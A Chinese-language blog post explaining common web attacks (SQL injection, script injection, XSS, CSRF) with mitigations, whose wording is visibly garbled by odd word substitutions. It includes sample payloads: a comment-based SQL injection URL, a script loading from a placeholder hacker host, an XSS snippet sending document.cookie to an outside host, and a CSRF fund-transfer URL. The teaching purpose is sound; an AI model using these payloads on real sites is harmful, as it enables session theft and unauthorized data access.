本文作者：上海驻云开拓总监 陈昂
上篇给大家带来的是关于浏览器基本事情事理的总结和先容，这篇文章重点给大家解释有哪些常见WEB攻击。
常见WEB攻击
互联网是个面向全天下的开放平台，越是开放的东西漏洞就越是多。有人曾掩护了一个列表，上面有上百种的WEB攻击办法。我们常见的有：脚本注入、SQL注入、DDoS、DNS挟制、端口漏洞扫描、密码暴力破解、XSS、CSRF等。这里只挑一些常见的攻击做个先容：
SQL注入
现在的网站很多都不再是纯粹的静态网站，例如一些CMS网站、交易网站、p2p/p2c网站、大型的系统等。 这些网站都选择PHP、.Net、 Java、 ROR、 Python、NodeJS等编程措辞搭建网站的后台，也会选择Mysql、 Oracle、SQL Server等数据库来存储数据。SQL注入便是针对的这样的网站发起的攻击。假如有一个列表页面，要求URL是这样的：https://xxx.xxx/list.php?q=finished
通过这个url可以获取这个用户列表下面所有已经完成的订单。那么我们可以猜想这样的页面后端对应的程序是这样写的：$sql = ‘select from orders where status=\’’ . status. ‘\’ and userId = \‘’ . userId;
语句本身没有什么问题，后面加上了过滤条件userId只能获取这个用户自己的订单。可是，如果我们这样发起要求：https://xxx.xxx/list.php?q=finished‘--
终极拼接后的语句可能就变成了这个样子：select from orders where status=‘finished’—and userId=’xxxx’;
由于“—”在数据库里面起到的注释浸染，以是“and userId=’xxxx’” 这个过滤条件是不会起浸染的。这个语句实行的效果便是黑客获取了这个网站所有已经完成的订单数据。
这里只是举一个大略的例子，关于Sql注入，有兴趣的朋友可以google一把。
戒备sql注入实在也很大略：
做好参数考验。
sql传参的地方一定要做sql escape，对sql敏感字符进行转义。
不要直接拼接字符串。
脚本注入
脚本注入只是个表现形式，例如你的网页中涌现了一段莫名的脚本：<script src=”http://hacker.test/hack.js”></script>，这便是一个范例的脚本注入。但是注入的办法就有很多了，有的是直接获取了做事器的权限，修正了网页；有的是利用Sql注入技能注入了脚本；还有的是利用网页交互漏洞注入的脚本。乃至有人开拓出了脚本注入漏洞扫描和Sql漏洞注入扫描自动机扫描互联网上的网站漏洞。
利用脚本注入这样的办法，黑客可以做很多很多事情：挂马，修正页面内容，将客户跳转到指定的网站，流量导入，信息网络等。
XSS跨站脚本攻击
严格来说XSS该当属于脚本注入的一种办法，只是由于XSS这种办法可以快速轻易的注入脚本而使得它非常盛行。举个大略的例子：
有一个网站支持评论和回答，有人在评论框内输入了这么一段脚本：
<script>
var i = document.createElement(‘img’);
i.setAttribute(‘src’, ‘http://attach.com/x.js?c=’+document.cookie);
document.body.appendChild(i);
</script>
提交后，当别人打开这个页面查看这个评论的时候，攻击的网站就获取到了这个人所有cookie信息(包括session id)，然后在通过脚本加载cookie后进行所有被攻击者所具有权限的操作。
戒备脚本注入和XSS攻击我们该当做到基本事情是：
做事器只开放必要的端口：如80、443、22等
参数校验
页面提交的内容一定要做HTML Escape 转义
URL上提交的内容要做URL Encode 转义
登录注册入口做年夜大好人机识别（验证码等）
CSRF跨站要求假造
很多人对XSS和CSRF是傻傻分不清楚的。首先常见的XSS攻击的工具是网站本身，通过注入网页的办法，获取用户信息。而CSRF就非常聪明了，直接绕过了注入这一步，乃至黑客不须要获取用户的Cookie信息，直奔主题。
CSRF攻击办法早几年并不为大家所熟知，实际上很多网站都存在CSRF的安全漏洞。早在2000年，CSRF这种攻击办法已经由国外的安全职员提出，但在海内，直到2006年才开始被关注。2008年，国内外多个大型社区和交互网站先后爆出CSRF漏洞，如：百度HI、NYTimes.com（纽约时报）、Metafilter（一个大型的BLOG网站）和YouTube等。但直到现在，互联网上的许多站点仍对此毫无防备，以至于安全业界称CSRF为“沉睡的巨人”，其威胁程度由此“美誉”便可见一斑。
那么，我们先来看一下CSRF的攻击事理吧：
如果图中的流程看的不是太明白，那么我们来看一个例子（摘抄自网络）：
受害者 Bob 在银行有一笔存款，通过对银行的网站发送要求： http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。常日情形下，该要求发送到网站后，做事器会先验证该要求是否来自一个合法的 session，并且该session 的用户 Bob 已经成功上岸。
黑客 Mallory 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个要求给银行： http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory但是这个要求来自 Mallory 而非 Bob，他不能通过安全认证，因此该要求不会起浸染。这时，Mallory 想到利用 CSRF 的攻击办法，他先自己做一个网站，在网站中放入如下代码：src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory”，并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个要求会附带 Bob 浏览器中的 cookie 一起发向银行做事器。
大多数情形下，该要求会失落败，由于他哀求 Bob 的认证信息。但是，如果 Bob 当时适值刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的cookie 之中含有 Bob 的认证信息。这时，悲剧发生了，这个 url 要求就会得到相应，钱将从 Bob 的账号转移到 Mallory 的账号，而 Bob 当时绝不知情。等往后 Bob 创造账户钱少了，纵然他去银行查询日志，他也只能创造确实有一个来自于他本人的合法要求转移了资金，没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
目前业界做事器端防御CSRF攻击紧张有以下几种策略：
验证HTTP Referer字段
精确利用GET
在要求地址中添加token并验证
在HTTP头中自定义属性并验证。
表单伪随机数
验证HTTPReferer字段
Referer 是HTTP协议定义的一个头字段，它记录了该HTTP要求的来源地址。通过Referer就可以大略的区分出这次要求是来自哪里，并做到基本的戒备。
但Referer毕竟是由要求者发起的，如果你用的是IE6浏览器（鄙视下IE），依然是可以假造的。
精确利用GET
GET常用在查看，列举，展示等不须要改变资源属性的时候。由于GET办法参数是直接呈现在url中的，很方便，但也很不屈安。以是不要以GET办法开放不屈安的接口。
在要求地址中添加token并验证
在精确利用GET 的条件下，对付非GET要求，如POST，可以用在创建、修正、删除资源或者做其他一些相对敏感的事情。而且须要为每一个用户天生一个唯一的Token存放在Cookie或LocalStorage里面，并附带在Post要求中。但是由于XSS可以轻易的获取用户的Cookie或Local Storage，这种办法也不是十分的安全。
在HTTP头中自定义属性并验证
这种方法也是利用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 要求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类要求加上csrftoken这个 HTTP 头属性，并把 token 值放入个中。而且，通过 XMLHttpRequest 要求的地址不会被记录到浏览器的地址栏，也不用担心token 会透过 Referer 透露到其他网站中去。
表单伪随机数
不同的表单包含一个不同的伪随机值。这种做法，其实在一些有名的开源WEB框架里面早就有了，如：PHP的Drupal，Python的Flask，只是国人安全意思太薄弱，太后知后觉了。伪随机数的事理也很大略：
当页面表单天生的时候由后端做事天生伪随机数放置在表单的隐蔽域里面，并在后端缓存伪随机数。
表单提交的时候后端做事器验证伪随机数的精确性和时效性，删除缓存的伪随机数。
这样做不仅可以避免CSRF攻击，同时可以避免表单的重复提交。
好了，关于浏览器事情事理和网络安全就先聊这么多，抛砖引玉，还是建议大家自行Google，一定会有更加深入的创造。喜好我们的话就赶紧订阅我们吧~~~或者关注我们的微信公众年夜众号：架构云专家频道。每天新鲜干货定时推送哦~
